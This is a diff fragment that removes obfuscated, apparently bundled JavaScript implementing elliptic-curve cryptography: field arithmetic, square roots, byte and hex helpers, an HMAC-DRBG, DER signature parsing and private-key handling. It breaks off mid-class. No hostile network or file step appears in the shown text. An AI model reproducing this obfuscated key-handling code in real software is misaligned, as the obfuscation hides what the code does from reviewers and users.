- const _0x3fa771 = _0x1c3c1b - _0xb00ba0 * _0x34c6d1;
- _0x731a37 = _0x2b95df;
- _0x2b95df = _0x16e95f;
- _0x180253 = _0x1a0525;
- _0x1c3c1b = _0xb00ba0;
- _0x1a0525 = _0x52b906;
- _0xb00ba0 = _0x3fa771;
- }
- if (_0x731a37 !== _0x3fe39e) {
- throw new Error("invert: does not exist");
- }
- return _0xbf4428(_0x180253, _0x1edf13);
- }
- function _0x46f08c(_0x421c7c) {
- const _0x5ed00f = (_0x421c7c - _0x3fe39e) / _0x60d109;
- let _0x11d91d;
- let _0x1027c8;
- let _0x47ccdf;
- for (_0x11d91d = _0x421c7c - _0x3fe39e, _0x1027c8 = 0; _0x11d91d % _0x60d109 === _0x5f973d; _0x11d91d /= _0x60d109, _0x1027c8++) {}
- for (_0x47ccdf = _0x60d109; _0x47ccdf < _0x421c7c && _0x1da695(_0x47ccdf, _0x5ed00f, _0x421c7c) !== _0x421c7c - _0x3fe39e; _0x47ccdf++) {}
- if (1 === _0x1027c8) {
- const _0x2cc49d = (_0x421c7c + _0x3fe39e) / _0x25050e;
- return function (_0x4c2160, _0x336ae7) {
- const _0x31582a = _0x4c2160.pow(_0x336ae7, _0x2cc49d);
- if (!_0x4c2160.eql(_0x4c2160.sqr(_0x31582a), _0x336ae7)) {
- throw new Error("Cannot find square root");
- }
- return _0x31582a;
- };
- }
- const _0x17a43d = (_0x11d91d + _0x3fe39e) / _0x60d109;
- return function (_0x37f245, _0x106444) {
- if (_0x37f245.pow(_0x106444, _0x5ed00f) === _0x37f245.neg(_0x37f245.ONE)) {
- throw new Error("Cannot find square root");
- }
- let _0x515334 = _0x1027c8;
- let _0x1ac9f0 = _0x37f245.pow(_0x37f245.mul(_0x37f245.ONE, _0x47ccdf), _0x11d91d);
- let _0x2babb2 = _0x37f245.pow(_0x106444, _0x17a43d);
- let _0x57d72e = _0x37f245.pow(_0x106444, _0x11d91d);
- for (; !_0x37f245.eql(_0x57d72e, _0x37f245.ONE);) {
- if (_0x37f245.eql(_0x57d72e, _0x37f245.ZERO)) {
- return _0x37f245.ZERO;
- }
- let _0x3af6c2 = 1;
- for (let _0x1db492 = _0x37f245.sqr(_0x57d72e); _0x3af6c2 < _0x515334 && !_0x37f245.eql(_0x1db492, _0x37f245.ONE); _0x3af6c2++) {
- _0x1db492 = _0x37f245.sqr(_0x1db492);
- }
- const _0x41c6ec = _0x37f245.pow(_0x1ac9f0, _0x3fe39e << BigInt(_0x515334 - _0x3af6c2 - 1));
- _0x1ac9f0 = _0x37f245.sqr(_0x41c6ec);
- _0x2babb2 = _0x37f245.mul(_0x2babb2, _0x41c6ec);
- _0x57d72e = _0x37f245.mul(_0x57d72e, _0x1ac9f0);
- _0x515334 = _0x3af6c2;
- }
- return _0x2babb2;
- };
- }
- function _0x489c87(_0x3ffe32) {
- if (_0x3ffe32 % _0x25050e === _0x14b4c4) {
- const _0x288254 = (_0x3ffe32 + _0x3fe39e) / _0x25050e;
- return function (_0x5a7f86, _0x59a236) {
- const _0x3893a4 = _0x5a7f86.pow(_0x59a236, _0x288254);
- if (!_0x5a7f86.eql(_0x5a7f86.sqr(_0x3893a4), _0x59a236)) {
- throw new Error("Cannot find square root");
- }
- return _0x3893a4;
- };
- }
- if (_0x3ffe32 % _0x4e979b === _0x4dcbdd) {
- const _0x918ec8 = (_0x3ffe32 - _0x4dcbdd) / _0x4e979b;
- return function (_0xfcb5e1, _0x225060) {
- const _0x3da2b8 = _0xfcb5e1.mul(_0x225060, _0x60d109);
- const _0x8bf6c9 = _0xfcb5e1.pow(_0x3da2b8, _0x918ec8);
- const _0x206160 = _0xfcb5e1.mul(_0x225060, _0x8bf6c9);
- const _0x37d07c = _0xfcb5e1.mul(_0xfcb5e1.mul(_0x206160, _0x60d109), _0x8bf6c9);
- const _0x184401 = _0xfcb5e1.mul(_0x206160, _0xfcb5e1.sub(_0x37d07c, _0xfcb5e1.ONE));
- if (!_0xfcb5e1.eql(_0xfcb5e1.sqr(_0x184401), _0x225060)) {
- throw new Error("Cannot find square root");
- }
- return _0x184401;
- };
- }
- return _0x46f08c(_0x3ffe32);
- }
- BigInt(9);
- BigInt(16);
- _0x3d1a47.mod = _0xbf4428;
- _0x3d1a47.pow = _0x1da695;
- _0x3d1a47.pow2 = function (_0x586bc3, _0x11b0a8, _0x17c19c) {
- let _0x4179ed = _0x586bc3;
- for (; _0x11b0a8-- > _0x5f973d;) {
- _0x4179ed *= _0x4179ed;
- _0x4179ed %= _0x17c19c;
- }
- return _0x4179ed;
- };
- _0x3d1a47.invert = _0xc23a18;
- _0x3d1a47.tonelliShanks = _0x46f08c;
- _0x3d1a47.FpSqrt = _0x489c87;
- _0x3d1a47.isNegativeLE = (_0x313d95, _0xcd0d8c) => (_0xbf4428(_0x313d95, _0xcd0d8c) & _0x3fe39e) === _0x3fe39e;
- const _0x44c5e9 = ["create", "isValid", "is0", "neg", "inv", "sqrt", "sqr", "eql", "add", "sub", "mul", "pow", "div", "addN", "subN", "mulN", "sqrN"];
- function _0x2ad7c3(_0x27a81a, _0x1c703c, _0x4335b7) {
- if (_0x4335b7 < _0x5f973d) {
- throw new Error("Expected power > 0");
- }
- if (_0x4335b7 === _0x5f973d) {
- return _0x27a81a.ONE;
- }
- if (_0x4335b7 === _0x3fe39e) {
- return _0x1c703c;
- }
- let _0x3d0be3 = _0x27a81a.ONE;
- let _0x1940cf = _0x1c703c;
- for (; _0x4335b7 > _0x5f973d;) {
- _0x4335b7 & _0x3fe39e && (_0x3d0be3 = _0x27a81a.mul(_0x3d0be3, _0x1940cf));
- _0x1940cf = _0x27a81a.sqr(_0x1940cf);
- _0x4335b7 >>= _0x3fe39e;
- }
- return _0x3d0be3;
- }
- function _0x193c88(_0x22909a, _0x3bbd17) {
- const _0x4b037b = new Array(_0x3bbd17.length);
- const _0x58682c = _0x3bbd17.reduce((_0x2d37e9, _0x4c71ea, _0x31a9e4) => _0x22909a.is0(_0x4c71ea) ? _0x2d37e9 : (_0x4b037b[_0x31a9e4] = _0x2d37e9, _0x22909a.mul(_0x2d37e9, _0x4c71ea)), _0x22909a.ONE);
- const _0x48c7f3 = _0x22909a.inv(_0x58682c);
- _0x3bbd17.reduceRight((_0x34c491, _0x448123, _0x4fc6ab) => _0x22909a.is0(_0x448123) ? _0x34c491 : (_0x4b037b[_0x4fc6ab] = _0x22909a.mul(_0x34c491, _0x4b037b[_0x4fc6ab]), _0x22909a.mul(_0x34c491, _0x448123)), _0x48c7f3);
- return _0x4b037b;
- }
- function _0x3bbc8c(_0x4bc2ad, _0x1637fb) {
- const _0x899f27 = undefined !== _0x1637fb ? _0x1637fb : _0x4bc2ad.toString(2).length;
- return {
- nBitLength: _0x899f27,
- nByteLength: Math.ceil(_0x899f27 / 8)
- };
- }
- _0x3d1a47.validateField = function (_0x35a38c) {
- const _0x81dafb = _0x44c5e9.reduce((_0x2a2d4e, _0x1ce2f0) => (_0x2a2d4e[_0x1ce2f0] = "function", _0x2a2d4e), {
- ORDER: "bigint",
- MASK: "bigint",
- BYTES: "isSafeInteger",
- BITS: "isSafeInteger"
- });
- return (0, _0x41502d.validateObject)(_0x35a38c, _0x81dafb);
- };
- _0x3d1a47.FpPow = _0x2ad7c3;
- _0x3d1a47.FpInvertBatch = _0x193c88;
- _0x3d1a47.FpDiv = function (_0x2127bc, _0x1ebfc1, _0xa94ac2) {
- return _0x2127bc.mul(_0x1ebfc1, "bigint" == typeof _0xa94ac2 ? _0xc23a18(_0xa94ac2, _0x2127bc.ORDER) : _0x2127bc.inv(_0xa94ac2));
- };
- _0x3d1a47.FpIsSquare = function (_0x3eb617) {
- const _0x524c57 = (_0x3eb617.ORDER - _0x3fe39e) / _0x60d109;
- return _0x1186f3 => {
- const _0x180d6c = _0x3eb617.pow(_0x1186f3, _0x524c57);
- return _0x3eb617.eql(_0x180d6c, _0x3eb617.ZERO) || _0x3eb617.eql(_0x180d6c, _0x3eb617.ONE);
- };
- };
- _0x3d1a47.nLength = _0x3bbc8c;
- _0x3d1a47.Field = function (_0x1d3f3e, _0x4c2524, _0xf762a9 = false, _0x503983 = {}) {
- if (_0x1d3f3e <= _0x5f973d) {
- throw new Error("Expected Fp ORDER > 0, got " + _0x1d3f3e);
- }
- const {
- nBitLength: _0x46889b,
- nByteLength: _0xd0e4bc
- } = _0x3bbc8c(_0x1d3f3e, _0x4c2524);
- if (_0xd0e4bc > 2048) {
- throw new Error("Field lengths over 2048 bytes are not supported");
- }
- const _0x51bfc0 = _0x489c87(_0x1d3f3e);
- const _0x1b00ea = Object.freeze({
- ORDER: _0x1d3f3e,
- BITS: _0x46889b,
- BYTES: _0xd0e4bc,
- MASK: (0, _0x41502d.bitMask)(_0x46889b),
- ZERO: _0x5f973d,
- ONE: _0x3fe39e,
- create: _0x53693a => _0xbf4428(_0x53693a, _0x1d3f3e),
- isValid: _0x25b0da => {
- if ("bigint" != typeof _0x25b0da) {
- throw new Error("Invalid field element: expected bigint, got " + typeof _0x25b0da);
- }
- return _0x5f973d <= _0x25b0da && _0x25b0da < _0x1d3f3e;
- },
- is0: _0x177c1a => _0x177c1a === _0x5f973d,
- isOdd: _0x595b1e => (_0x595b1e & _0x3fe39e) === _0x3fe39e,
- neg: _0x3eb72a => _0xbf4428(-_0x3eb72a, _0x1d3f3e),
- eql: (_0x10f175, _0x46857e) => _0x10f175 === _0x46857e,
- sqr: _0x377868 => _0xbf4428(_0x377868 * _0x377868, _0x1d3f3e),
- add: (_0x396888, _0x4c0bc8) => _0xbf4428(_0x396888 + _0x4c0bc8, _0x1d3f3e),
- sub: (_0x27477d, _0xb5bb8a) => _0xbf4428(_0x27477d - _0xb5bb8a, _0x1d3f3e),
- mul: (_0x12f1ed, _0x44b86c) => _0xbf4428(_0x12f1ed * _0x44b86c, _0x1d3f3e),
- pow: (_0x1f5e73, _0x312ec3) => _0x2ad7c3(_0x1b00ea, _0x1f5e73, _0x312ec3),
- div: (_0xcb27cf, _0x215d3e) => _0xbf4428(_0xcb27cf * _0xc23a18(_0x215d3e, _0x1d3f3e), _0x1d3f3e),
- sqrN: _0x310be9 => _0x310be9 * _0x310be9,
- addN: (_0x1ef3af, _0x28412c) => _0x1ef3af + _0x28412c,
- subN: (_0x525cdc, _0x2d5c41) => _0x525cdc - _0x2d5c41,
- mulN: (_0x568f70, _0x2d3916) => _0x568f70 * _0x2d3916,
- inv: _0x470d53 => _0xc23a18(_0x470d53, _0x1d3f3e),
- sqrt: _0x503983.sqrt || (_0x8a1d19 => _0x51bfc0(_0x1b00ea, _0x8a1d19)),
- invertBatch: _0x15af59 => _0x193c88(_0x1b00ea, _0x15af59),
- cmov: (_0x167183, _0x8883e8, _0x447d27) => _0x447d27 ? _0x8883e8 : _0x167183,
- toBytes: _0x5ac387 => _0xf762a9 ? (0, _0x41502d.numberToBytesLE)(_0x5ac387, _0xd0e4bc) : (0, _0x41502d.numberToBytesBE)(_0x5ac387, _0xd0e4bc),
- fromBytes: _0x6989b9 => {
- if (_0x6989b9.length !== _0xd0e4bc) {
- throw new Error("Fp.fromBytes: expected " + _0xd0e4bc + ", got " + _0x6989b9.length);
- }
- return _0xf762a9 ? (0, _0x41502d.bytesToNumberLE)(_0x6989b9) : (0, _0x41502d.bytesToNumberBE)(_0x6989b9);
- }
- });
- return Object.freeze(_0x1b00ea);
- };
- _0x3d1a47.FpSqrtOdd = function (_0x1f6af1, _0x5aff8f) {
- if (!_0x1f6af1.isOdd) {
- throw new Error("Field doesn't have isOdd");
- }
- const _0x3c0720 = _0x1f6af1.sqrt(_0x5aff8f);
- return _0x1f6af1.isOdd(_0x3c0720) ? _0x3c0720 : _0x1f6af1.neg(_0x3c0720);
- };
- _0x3d1a47.FpSqrtEven = function (_0x4f4add, _0x2b94b1) {
- if (!_0x4f4add.isOdd) {
- throw new Error("Field doesn't have isOdd");
- }
- const _0x486690 = _0x4f4add.sqrt(_0x2b94b1);
- return _0x4f4add.isOdd(_0x486690) ? _0x4f4add.neg(_0x486690) : _0x486690;
- };
- _0x3d1a47.hashToPrivateScalar = function (_0x544a30, _0x2f57e6, _0x29dd4c = false) {
- const _0x585e97 = (_0x544a30 = (0, _0x41502d.ensureBytes)("privateHash", _0x544a30)).length;
- const _0x1a2694 = _0x3bbc8c(_0x2f57e6).nByteLength + 8;
- if (_0x1a2694 < 24 || _0x585e97 < _0x1a2694 || _0x585e97 > 1024) {
- throw new Error("hashToPrivateScalar: expected " + _0x1a2694 + "-1024 bytes of input, got " + _0x585e97);
- }
- return _0xbf4428(_0x29dd4c ? (0, _0x41502d.bytesToNumberLE)(_0x544a30) : (0, _0x41502d.bytesToNumberBE)(_0x544a30), _0x2f57e6 - _0x3fe39e) + _0x3fe39e;
- };
- },
- 219: (_0x12bc22, _0x488434) => {
- "use strict";
-
- Object.defineProperty(_0x488434, "__esModule", {
- value: true
- });
- _0x488434.validateObject = _0x488434.createHmacDrbg = _0x488434.bitMask = _0x488434.bitSet = _0x488434.bitGet = _0x488434.bitLen = _0x488434.utf8ToBytes = _0x488434.equalBytes = _0x488434.concatBytes = _0x488434.ensureBytes = _0x488434.numberToVarBytesBE = _0x488434.numberToBytesLE = _0x488434.numberToBytesBE = _0x488434.bytesToNumberLE = _0x488434.bytesToNumberBE = _0x488434.hexToBytes = _0x488434.hexToNumber = _0x488434.numberToHexUnpadded = _0x488434.bytesToHex = undefined;
- const _0x43ab69 = BigInt(0);
- const _0x14d024 = BigInt(1);
- const _0x2e586e = BigInt(2);
- const _0x1f391f = _0x26eea6 => _0x26eea6 instanceof Uint8Array;
- const _0x192859 = Array.from({
- length: 256
- }, (_0x243a49, _0x4e8df9) => _0x4e8df9.toString(16).padStart(2, "0"));
- function _0xf80d48(_0x29fbaf) {
- if (!_0x1f391f(_0x29fbaf)) {
- throw new Error("Uint8Array expected");
- }
- let _0x3c06e8 = "";
- for (let _0x229599 = 0; _0x229599 < _0x29fbaf.length; _0x229599++) {
- _0x3c06e8 += _0x192859[_0x29fbaf[_0x229599]];
- }
- return _0x3c06e8;
- }
- function _0x5118da(_0x2096c4) {
- const _0x4d3d5b = _0x2096c4.toString(16);
- return 1 & _0x4d3d5b.length ? "0" + _0x4d3d5b : _0x4d3d5b;
- }
- function _0x430199(_0x7c5c35) {
- if ("string" != typeof _0x7c5c35) {
- throw new Error("hex string expected, got " + typeof _0x7c5c35);
- }
- return BigInt("" === _0x7c5c35 ? "0" : "0x" + _0x7c5c35);
- }
- function _0x57375b(_0x5cfde7) {
- if ("string" != typeof _0x5cfde7) {
- throw new Error("hex string expected, got " + typeof _0x5cfde7);
- }
- if (_0x5cfde7.length % 2) {
- throw new Error("hex string is invalid: unpadded " + _0x5cfde7.length);
- }
- const _0x46a2ad = new Uint8Array(_0x5cfde7.length / 2);
- for (let _0x336089 = 0; _0x336089 < _0x46a2ad.length; _0x336089++) {
- const _0x3feb34 = 2 * _0x336089;
- const _0xe3729f = _0x5cfde7.slice(_0x3feb34, _0x3feb34 + 2);
- const _0x1e55eb = Number.parseInt(_0xe3729f, 16);
- if (Number.isNaN(_0x1e55eb) || _0x1e55eb < 0) {
- throw new Error("invalid byte sequence");
- }
- _0x46a2ad[_0x336089] = _0x1e55eb;
- }
- return _0x46a2ad;
- }
- function _0x49b014(..._0x52d40d) {
- const _0x13dcf5 = new Uint8Array(_0x52d40d.reduce((_0x420f81, _0x2b2c5c) => _0x420f81 + _0x2b2c5c.length, 0));
- let _0x24677c = 0;
- _0x52d40d.forEach(_0x3b4872 => {
- if (!_0x1f391f(_0x3b4872)) {
- throw new Error("Uint8Array expected");
- }
- _0x13dcf5.set(_0x3b4872, _0x24677c);
- _0x24677c += _0x3b4872.length;
- });
- return _0x13dcf5;
- }
- _0x488434.bytesToHex = _0xf80d48;
- _0x488434.numberToHexUnpadded = _0x5118da;
- _0x488434.hexToNumber = _0x430199;
- _0x488434.hexToBytes = _0x57375b;
- _0x488434.bytesToNumberBE = function (_0x551cb1) {
- return _0x430199(_0xf80d48(_0x551cb1));
- };
- _0x488434.bytesToNumberLE = function (_0x4d8faf) {
- if (!_0x1f391f(_0x4d8faf)) {
- throw new Error("Uint8Array expected");
- }
- return _0x430199(_0xf80d48(Uint8Array.from(_0x4d8faf).reverse()));
- };
- _0x488434.numberToBytesBE = (_0x4b3d29, _0x17930d) => _0x57375b(_0x4b3d29.toString(16).padStart(2 * _0x17930d, "0"));
- _0x488434.numberToBytesLE = (_0x3f5cf1, _0x210297) => (0, _0x488434.numberToBytesBE)(_0x3f5cf1, _0x210297).reverse();
- _0x488434.numberToVarBytesBE = _0x4d7944 => _0x57375b(_0x5118da(_0x4d7944));
- _0x488434.ensureBytes = function (_0x54f3f9, _0x448dbf, _0x4fded2) {
- let _0x2dd644;
- if ("string" == typeof _0x448dbf) {
- try {
- _0x2dd644 = _0x57375b(_0x448dbf);
- } catch (_0x2dda21) {
- throw new Error(_0x54f3f9 + " must be valid hex string, got \"" + _0x448dbf + "\". Cause: " + _0x2dda21);
- }
- } else {
- if (!_0x1f391f(_0x448dbf)) {
- throw new Error(_0x54f3f9 + " must be hex string or Uint8Array");
- }
- _0x2dd644 = Uint8Array.from(_0x448dbf);
- }
- const _0x3cc447 = _0x2dd644.length;
- if ("number" == typeof _0x4fded2 && _0x3cc447 !== _0x4fded2) {
- throw new Error(_0x54f3f9 + " expected " + _0x4fded2 + " bytes, got " + _0x3cc447);
- }
- return _0x2dd644;
- };
- _0x488434.concatBytes = _0x49b014;
- _0x488434.equalBytes = function (_0x225fc0, _0x4f9d9e) {
- if (_0x225fc0.length !== _0x4f9d9e.length) {
- return false;
- }
- for (let _0x49ef4d = 0; _0x49ef4d < _0x225fc0.length; _0x49ef4d++) {
- if (_0x225fc0[_0x49ef4d] !== _0x4f9d9e[_0x49ef4d]) {
- return false;
- }
- }
- return true;
- };
- _0x488434.utf8ToBytes = function (_0x3bd936) {
- if ("string" != typeof _0x3bd936) {
- throw new Error("utf8ToBytes expected string, got " + typeof _0x3bd936);
- }
- return new TextEncoder().encode(_0x3bd936);
- };
- _0x488434.bitLen = function (_0x4aa4b5) {
- let _0x35fffd;
- for (_0x35fffd = 0; _0x4aa4b5 > _0x43ab69; _0x4aa4b5 >>= _0x14d024, _0x35fffd += 1) {}
- return _0x35fffd;
- };
- _0x488434.bitGet = (_0x7de7c0, _0x1c8262) => _0x7de7c0 >> BigInt(_0x1c8262) & _0x14d024;
- _0x488434.bitSet = (_0x44cec6, _0x194bee, _0x59eeb7) => _0x44cec6 | (_0x59eeb7 ? _0x14d024 : _0x43ab69) << BigInt(_0x194bee);
- _0x488434.bitMask = _0x4b0abc => (_0x2e586e << BigInt(_0x4b0abc - 1)) - _0x14d024;
- const _0x34c610 = _0x4c2ea4 => new Uint8Array(_0x4c2ea4);
- const _0x2528a9 = _0xd021aa => Uint8Array.from(_0xd021aa);
- _0x488434.createHmacDrbg = function (_0x1ac55b, _0x98d78f, _0x14fd94) {
- if ("number" != typeof _0x1ac55b || _0x1ac55b < 2) {
- throw new Error("hashLen must be a number");
- }
- if ("number" != typeof _0x98d78f || _0x98d78f < 2) {
- throw new Error("qByteLen must be a number");
- }
- if ("function" != typeof _0x14fd94) {
- throw new Error("hmacFn must be a function");
- }
- let _0x64234c = _0x34c610(_0x1ac55b);
- let _0x52646e = _0x34c610(_0x1ac55b);
- let _0x1887ac = 0;
- const _0x2d73fe = () => {
- _0x64234c.fill(1);
- _0x52646e.fill(0);
- _0x1887ac = 0;
- };
- const _0x4f9993 = (..._0x1da6b7) => _0x14fd94(_0x52646e, _0x64234c, ..._0x1da6b7);
- const _0x10379a = (_0x1c835f = _0x34c610()) => {
- _0x52646e = _0x4f9993(_0x2528a9([0]), _0x1c835f);
- _0x64234c = _0x4f9993();
- 0 !== _0x1c835f.length && (_0x52646e = _0x4f9993(_0x2528a9([1]), _0x1c835f), _0x64234c = _0x4f9993());
- };
- const _0x54a4be = () => {
- if (_0x1887ac++ >= 1000) {
- throw new Error("drbg: tried 1000 values");
- }
- let _0x20eb1b = 0;
- const _0x37e823 = [];
- for (; _0x20eb1b < _0x98d78f;) {
- _0x64234c = _0x4f9993();
- const _0x446101 = _0x64234c.slice();
- _0x37e823.push(_0x446101);
- _0x20eb1b += _0x64234c.length;
- }
- return _0x49b014(..._0x37e823);
- };
- return (_0x51a00e, _0x480b57) => {
- let _0x21904d;
- for (_0x2d73fe(), _0x10379a(_0x51a00e); !(_0x21904d = _0x480b57(_0x54a4be()));) {
- _0x10379a();
- }
- _0x2d73fe();
- return _0x21904d;
- };
- };
- const _0x4cf2ec = {
- bigint: _0x57b648 => "bigint" == typeof _0x57b648,
- function: _0x253e53 => "function" == typeof _0x253e53,
- boolean: _0x1be9e0 => "boolean" == typeof _0x1be9e0,
- string: _0x342d66 => "string" == typeof _0x342d66,
- isSafeInteger: _0x116719 => Number.isSafeInteger(_0x116719),
- array: _0x224e4f => Array.isArray(_0x224e4f),
- field: (_0xf9a897, _0x4eed3c) => _0x4eed3c.Fp.isValid(_0xf9a897),
- hash: _0x2c2cf5 => "function" == typeof _0x2c2cf5 && Number.isSafeInteger(_0x2c2cf5.outputLen)
- };
- _0x488434.validateObject = function (_0x45829a, _0x52eeca, _0x565d8d = {}) {
- const _0xf7b3d8 = (_0xf59139, _0x4b52c5, _0x384b3a) => {
- const _0x36f640 = _0x4cf2ec[_0x4b52c5];
- if ("function" != typeof _0x36f640) {
- throw new Error("Invalid validator \"" + _0x4b52c5 + "\", expected function");
- }
- const _0x1ac171 = _0x45829a[_0xf59139];
- if (!(_0x384b3a && undefined === _0x1ac171 || _0x36f640(_0x1ac171, _0x45829a))) {
- throw new Error("Invalid param " + String(_0xf59139) + "=" + _0x1ac171 + " (" + typeof _0x1ac171 + "), expected " + _0x4b52c5);
- }
- };
- for (const [_0x5aa85b, _0x242ac6] of Object.entries(_0x52eeca)) _0xf7b3d8(_0x5aa85b, _0x242ac6, false);
- for (const [_0x41584d, _0x96d62e] of Object.entries(_0x565d8d)) _0xf7b3d8(_0x41584d, _0x96d62e, true);
- return _0x45829a;
- };
- },
- 6551: (_0xf4ee4d, _0x5a0686, _0x2cae04) => {
- "use strict";
-
- Object.defineProperty(_0x5a0686, "__esModule", {
- value: true
- });
- _0x5a0686.mapToCurveSimpleSWU = _0x5a0686.SWUFpSqrtRatio = _0x5a0686.weierstrass = _0x5a0686.weierstrassPoints = _0x5a0686.DER = undefined;
- const _0x29eea0 = _0x2cae04(4632);
- const _0x31141f = _0x2cae04(219);
- const _0x1108c0 = _0x2cae04(219);
- const _0x527c9f = _0x2cae04(1525);
- const {
- bytesToNumberBE: _0x1e1e64,
- hexToBytes: _0xaa580c
- } = _0x31141f;
- _0x5a0686.DER = {
- Err: class extends Error {
- constructor(_0x267fe9 = "") {
- super(_0x267fe9);
- }
- },
- _parseInt(_0x23ef84) {
- const {
- Err: _0x1fa842
- } = _0x5a0686.DER;
- if (_0x23ef84.length < 2 || 2 !== _0x23ef84[0]) {
- throw new _0x1fa842("Invalid signature integer tag");
- }
- const _0x16b13c = _0x23ef84[1];
- const _0x43fd9f = _0x23ef84.subarray(2, _0x16b13c + 2);
- if (!_0x16b13c || _0x43fd9f.length !== _0x16b13c) {
- throw new _0x1fa842("Invalid signature integer: wrong length");
- }
- if (128 & _0x43fd9f[0]) {
- throw new _0x1fa842("Invalid signature integer: negative");
- }
- if (0 === _0x43fd9f[0] && !(128 & _0x43fd9f[1])) {
- throw new _0x1fa842("Invalid signature integer: unnecessary leading zero");
- }
- return {
- d: _0x1e1e64(_0x43fd9f),
- l: _0x23ef84.subarray(_0x16b13c + 2)
- };
- },
- toSig(_0x3ee1b0) {
- const {
- Err: _0x2226ba
- } = _0x5a0686.DER;
- const _0x595d1e = "string" == typeof _0x3ee1b0 ? _0xaa580c(_0x3ee1b0) : _0x3ee1b0;
- if (!(_0x595d1e instanceof Uint8Array)) {
- throw new Error("ui8a expected");
- }
- let _0x1b8778 = _0x595d1e.length;
- if (_0x1b8778 < 2 || 48 != _0x595d1e[0]) {
- throw new _0x2226ba("Invalid signature tag");
- }
- if (_0x595d1e[1] !== _0x1b8778 - 2) {
- throw new _0x2226ba("Invalid signature: incorrect length");
- }
- const {
- d: _0x252a53,
- l: _0x4f29b9
- } = _0x5a0686.DER._parseInt(_0x595d1e.subarray(2));
- const {
- d: _0x3b4b15,
- l: _0x312a5c
- } = _0x5a0686.DER._parseInt(_0x4f29b9);
- if (_0x312a5c.length) {
- throw new _0x2226ba("Invalid signature: left bytes after parsing");
- }
- return {
- r: _0x252a53,
- s: _0x3b4b15
- };
- },
- hexFromSig(_0x42d5c7) {
- const _0x418383 = _0x359569 => 8 & Number.parseInt(_0x359569[0], 16) ? "00" + _0x359569 : _0x359569;
- const _0x1841db = _0x53d500 => {
- const _0x30912a = _0x53d500.toString(16);
- return 1 & _0x30912a.length ? "0" + _0x30912a : _0x30912a;
- };
- const _0x285c3f = _0x418383(_0x1841db(_0x42d5c7.s));
- const _0x3d16b2 = _0x418383(_0x1841db(_0x42d5c7.r));
- const _0x4ec233 = _0x285c3f.length / 2;
- const _0xcefcd8 = _0x3d16b2.length / 2;
- const _0xe780b1 = _0x1841db(_0x4ec233);
- const _0x4c3f83 = _0x1841db(_0xcefcd8);
- return "30" + _0x1841db(_0xcefcd8 + _0x4ec233 + 4) + "02" + _0x4c3f83 + _0x3d16b2 + "02" + _0xe780b1 + _0x285c3f;
- }
- };
- const _0x573b1c = BigInt(0);
- const _0x3fb7b3 = BigInt(1);
- const _0x27828f = BigInt(2);
- const _0x4c4c23 = BigInt(3);
- const _0x214a1c = BigInt(4);
- function _0x293fa3(_0x20910f) {
- const _0x353d93 = function (_0x4ffa19) {
- const _0x5289ec = (0, _0x527c9f.validateBasic)(_0x4ffa19);
- _0x31141f.validateObject(_0x5289ec, {
- a: "field",
- b: "field"
- }, {
- allowedPrivateKeyLengths: "array",
- wrapPrivateKey: "boolean",
- isTorsionFree: "function",
- clearCofactor: "function",
- allowInfinityPoint: "boolean",
- fromBytes: "function",
- toBytes: "function"
- });
- const {
- endo: _0x496a09,
- Fp: _0x46522b,
- a: _0x586c62
- } = _0x5289ec;
- if (_0x496a09) {
- if (!_0x46522b.eql(_0x586c62, _0x46522b.ZERO)) {
- throw new Error("Endomorphism can only be defined for Koblitz curves that have a=0");
- }
- if ("object" != typeof _0x496a09 || "bigint" != typeof _0x496a09.beta || "function" != typeof _0x496a09.splitScalar) {
- throw new Error("Expected endomorphism with beta: bigint and splitScalar: function");
- }
- }
- return Object.freeze({
- ..._0x5289ec
- });
- }(_0x20910f);
- const {
- Fp: _0x1ea99e
- } = _0x353d93;
- const _0x5551ff = _0x353d93.toBytes || ((_0x569d1f, _0x2c13c9, _0x5d26bb) => {
- const _0x1ab526 = _0x2c13c9.toAffine();
- return _0x31141f.concatBytes(Uint8Array.from([4]), _0x1ea99e.toBytes(_0x1ab526.x), _0x1ea99e.toBytes(_0x1ab526.y));
- });
- const _0x330d9e = _0x353d93.fromBytes || (_0x3fd6a6 => {
- const _0x113da8 = _0x3fd6a6.subarray(1);
- return {
- x: _0x1ea99e.fromBytes(_0x113da8.subarray(0, _0x1ea99e.BYTES)),
- y: _0x1ea99e.fromBytes(_0x113da8.subarray(_0x1ea99e.BYTES, 2 * _0x1ea99e.BYTES))
- };
- });
- function _0x203460(_0x93f794) {
- const {
- a: _0x5ea6f9,
- b: _0x742e2f
- } = _0x353d93;
- const _0x1f7c53 = _0x1ea99e.sqr(_0x93f794);
- const _0x28d6e2 = _0x1ea99e.mul(_0x1f7c53, _0x93f794);
- return _0x1ea99e.add(_0x1ea99e.add(_0x28d6e2, _0x1ea99e.mul(_0x93f794, _0x5ea6f9)), _0x742e2f);
- }
- if (!_0x1ea99e.eql(_0x1ea99e.sqr(_0x353d93.Gy), _0x203460(_0x353d93.Gx))) {
- throw new Error("bad generator point: equation left != right");
- }
- function _0x59fb2f(_0x4bf5dd) {
- return "bigint" == typeof _0x4bf5dd && _0x573b1c < _0x4bf5dd && _0x4bf5dd < _0x353d93.n;
- }
- function _0x16120c(_0x4d5ea9) {
- if (!_0x59fb2f(_0x4d5ea9)) {
- throw new Error("Expected valid bigint: 0 < bigint < curve.n");
- }
- }
- function _0x54810c(_0x585147) {
- const {
- allowedPrivateKeyLengths: _0x22a037,
- nByteLength: _0x5c9976,
- wrapPrivateKey: _0x1345a6,
- n: _0x4d5347
- } = _0x353d93;
- if (_0x22a037 && "bigint" != typeof _0x585147) {
- if (_0x585147 instanceof Uint8Array && (_0x585147 = _0x31141f.bytesToHex(_0x585147)), "string" != typeof _0x585147 || !_0x22a037.includes(_0x585147.length)) {
- throw new Error("Invalid key");
- }
- _0x585147 = _0x585147.padStart(2 * _0x5c9976, "0");
- }
- let _0x3f35fe;
- try {
- _0x3f35fe = "bigint" == typeof _0x585147 ? _0x585147 : _0x31141f.bytesToNumberBE((0, _0x1108c0.ensureBytes)("private key", _0x585147, _0x5c9976));
- } catch (_0x4a4e35) {
- throw new Error("private key must be " + _0x5c9976 + " bytes, hex or bigint, not " + typeof _0x585147);
- }
- _0x1345a6 && (_0x3f35fe = _0x29eea0.mod(_0x3f35fe, _0x4d5347));
- _0x16120c(_0x3f35fe);
- return _0x3f35fe;
- }
- const _0x5e24aa = new Map();
- function _0x548ceb(_0x4f6963) {
- if (!(_0x4f6963 instanceof _0x2668b8)) {
- throw new Error("ProjectivePoint expected");
- }
- }
- class _0x2668b8 {
- constructor(_0x1b150d, _0x2420e6, _0x1f7bf3) {
- if (this.px = _0x1b150d, this.py = _0x2420e6, this.pz = _0x1f7bf3, null == _0x1b150d || !_0x1ea99e.isValid(_0x1b150d)) {
